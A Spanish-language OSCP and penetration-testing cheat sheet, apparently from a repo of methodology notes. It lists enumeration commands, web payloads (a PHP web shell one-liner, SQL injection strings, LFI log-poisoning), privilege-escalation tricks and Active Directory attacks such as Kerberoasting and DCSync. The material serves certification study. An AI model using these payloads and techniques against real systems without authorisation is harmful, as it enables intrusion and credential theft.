El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
10 KiB
10 KiB
Trucos y Trampas — OSCP / Pentest
Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB). No son contenidos del Discord privado de OffSec ni material bajo NDA. Son anti-rabbit-holes, detalles olvidados y patrones que se repiten en máquinas estilo OSCP.
Trampas de enumeración (donde la gente pierde 4 horas)
─ Olvidar UDP ────────────────────────────────────────────
nmap -sU --top-ports 50 -T4 IP
SNMP (161), TFTP (69), NTP (123) suelen dar oro
─ Olvidar puertos altos ──────────────────────────────────
nmap solo escanea top 1000 por defecto
SIEMPRE: nmap -p- --min-rate=5000 IP (los 65535)
─ Olvidar vhosts/subdominios ─────────────────────────────
Si te encuentras "default Apache page", prueba:
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
─ /etc/hosts no actualizado ──────────────────────────────
Si la web carga rara o redirige, mira el "Host:" header
Añade el dominio a /etc/hosts SIEMPRE que aparezca
─ HTTPS revela hostnames ─────────────────────────────────
openssl s_client -connect IP:443
El cert te puede chivar el dominio real
─ Wordlists pequeñas ─────────────────────────────────────
common.txt = junior level
Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
Trampas web
─ "robots.txt es perezoso" ───────────────────────────────
Mira también: sitemap.xml, .git/, .svn/, .htaccess,
.DS_Store, backup/, old/, dev/, test/, admin/
─ Source HTML / JS ───────────────────────────────────────
Ctrl+U siempre. Comentarios con creds, paths, endpoints
JS embebidos con APIs ocultas (LinkFinder, JSparser)
─ LFI → RCE ──────────────────────────────────────────────
Si tienes LFI básico, prueba:
/proc/self/environ (con User-Agent malicioso)
/var/log/apache2/access.log (poison + curl con UA payload)
php://filter/convert.base64-encode/resource=index.php
data://, expect://, phar:// (PHP wrappers)
─ Upload "filtrado" ──────────────────────────────────────
Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
Magic bytes: GIF89a;<?php system($_GET['c']); ?>
Burp → cambia Content-Type a image/jpeg
.htaccess para reasignar handler
─ SQLi sin sqlmap ────────────────────────────────────────
Aprende manual primero. sqlmap a veces miente.
Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
Time-based: ' AND SLEEP(5)-- -
Trampas de shell
─ Shell rota = tortura ────────────────────────────────────
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 120
(rows/cols los sacas con "stty size" en TU kali)
─ Listener equivocado ────────────────────────────────────
nc clásico para Linux victim
ncat --ssl para evitar IDS
stty raw -echo + nc para Windows ConPtyShell
─ Egress filtering ───────────────────────────────────────
El firewall del objetivo bloquea ciertos puertos
PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
Privesc Linux — los 10 olvidados
1. SUID exóticos → find / -perm -4000 2>/dev/null
(y luego GTFOBins cada uno)
2. sudo -l → SIEMPRE primero, sin password
3. Capabilities → getcap -r / 2>/dev/null
(cap_setuid en python/perl = root)
4. Cron escribibles → cat /etc/crontab, /var/spool/cron
Scripts que tú puedes editar
5. Wildcard injection→ "tar czf /backup/* " con file --checkpoint
6. PATH abuse → si un script SUID llama "ps" sin ruta
absoluta, creas ./ps malicioso
7. NFS no_root_squash→ showmount -e ; montas y subes SUID
8. Docker group → si estás en grupo "docker", eres root:
docker run -v /:/mnt -it alpine chroot /mnt
9. Kernel exploits → último recurso. DirtyCow, DirtyPipe
(uname -a; searchsploit kernel x.x)
10. Caps de archivo → /var/backups, /etc/passwd escribible,
/etc/shadow legible
Privesc Windows — los 10 olvidados
1. whoami /priv → busca SeImpersonate, SeAssignPrimaryToken
→ JuicyPotato, PrintSpoofer, GodPotato
2. Unquoted services → wmic service get name,pathname,startmode
Path con espacios sin comillas + carpeta
escribible = exe propio
3. AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
Windows\Installer
Si ambos = 1 → msi propio = SYSTEM
4. Service permisos → accesschk.exe -uwcqv user *
SERVICE_CHANGE_CONFIG = ownership
5. Credenciales en disco→ recurse find:
Unattend.xml, sysprep.inf, web.config,
cmdkey /list, registry SAM/SYSTEM
6. AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon
7. Pass spraying → la misma pass del user normal contra
admin, administrator, sa, sysadmin
8. WSL / OpenSSH server → veces hay credenciales en .bash_history
9. Scheduled tasks → schtasks /query /fo LIST /v
Tareas con scripts editables
10. UAC bypass + token impersonation
Active Directory — los 7 caminos que SIEMPRE pruebas
1. Anonymous SMB → smbclient -L //IP -N
nxc smb IP -u "" -p ""
2. AS-REP Roasting → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
(usuarios con "Do not require pre-auth")
3. Kerberoasting → impacket-GetUserSPNs dominio/user:pass -request
(cuentas de servicio con SPN)
4. GPP cpassword → buscar en \\DC\SYSVOL\<dom>\Policies\
Groups.xml con cpassword (rotos en clave AES fija)
5. LAPS → nxc ldap IP -u u -p p --module laps
6. ACL abuses → BloodHound te los pinta:
GenericAll, WriteDACL, AddMember, ForceChangePassword
7. DCSync → con permisos DS-Replication, dumpear todo el dominio
Trampas de "examen real" (anti-pánico)
─ Time management ────────────────────────────────────────
24h ≠ 24h. Duermes 6h. Comes. Te duchas.
Regla: 1.5h sin progreso = cambia de máquina.
Cierra y vuelve más tarde con cabeza fresca.
─ Documentación EN VIVO ──────────────────────────────────
Captura TODO con Flameshot/Greenshot mientras lo haces.
No al final. Al final no recuerdas el comando exacto.
Cada flag con hostname visible (ipconfig/ifconfig).
local.txt = user proof, proof.txt = root proof.
─ Reutilización de credenciales ──────────────────────────
La pass del usuario A muchas veces vale para usuario B.
PRUEBA siempre cada pass que pillas contra TODOS los hosts.
─ El AD set es 40 puntos seguidos ────────────────────────
3 máquinas encadenadas. Si te atascas en máquina 1,
no avanzas en 2 y 3. Empieza por ahí con tiempo.
─ Standalones independientes ─────────────────────────────
3 máquinas independientes de 20pts cada una.
user (10pt) + root (20pt). Saca user de las 3
ANTES de obsesionarte con root de una.
─ Reporte cuenta ─────────────────────────────────────────
Sin reporte, no apruebas, aunque saques 100 puntos
técnicos. 24h después del examen. Markdown template:
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
─ Metasploit limitado ────────────────────────────────────
Puedes usarlo solo en UNA máquina.
meterpreter post-explotation no cuenta como "uso"
solo el initial foothold cuenta.
Recursos públicos donde sí está todo esto
| Recurso | Por qué importa |
|---|---|
| TJ Null's OSCP-like list (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
| ippsec.rocks | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
| 0xdf.gitlab.io | Writeups detalladísimos con explicación pedagógica |
| PayloadsAllTheThings | Cheatsheet de todo lo web |
| HackTricks (book.hacktricks.xyz) | La biblia. Lo busques lo que busques está ahí |
| GTFOBins / LOLBAS | Para privesc Linux y LOLBins Windows |
| /r/oscp | Subreddit con experiencias de examinados (sin spoilers) |
| Discord públicos: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |
Truco meta de meta-trucos
El truco real del OSCP no es saber 200 técnicas. Es tener una metodología repetible:
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a siguiente máquina
La gente suspende por saltarse pasos o por obsesionarse con un vector, no por desconocimiento técnico.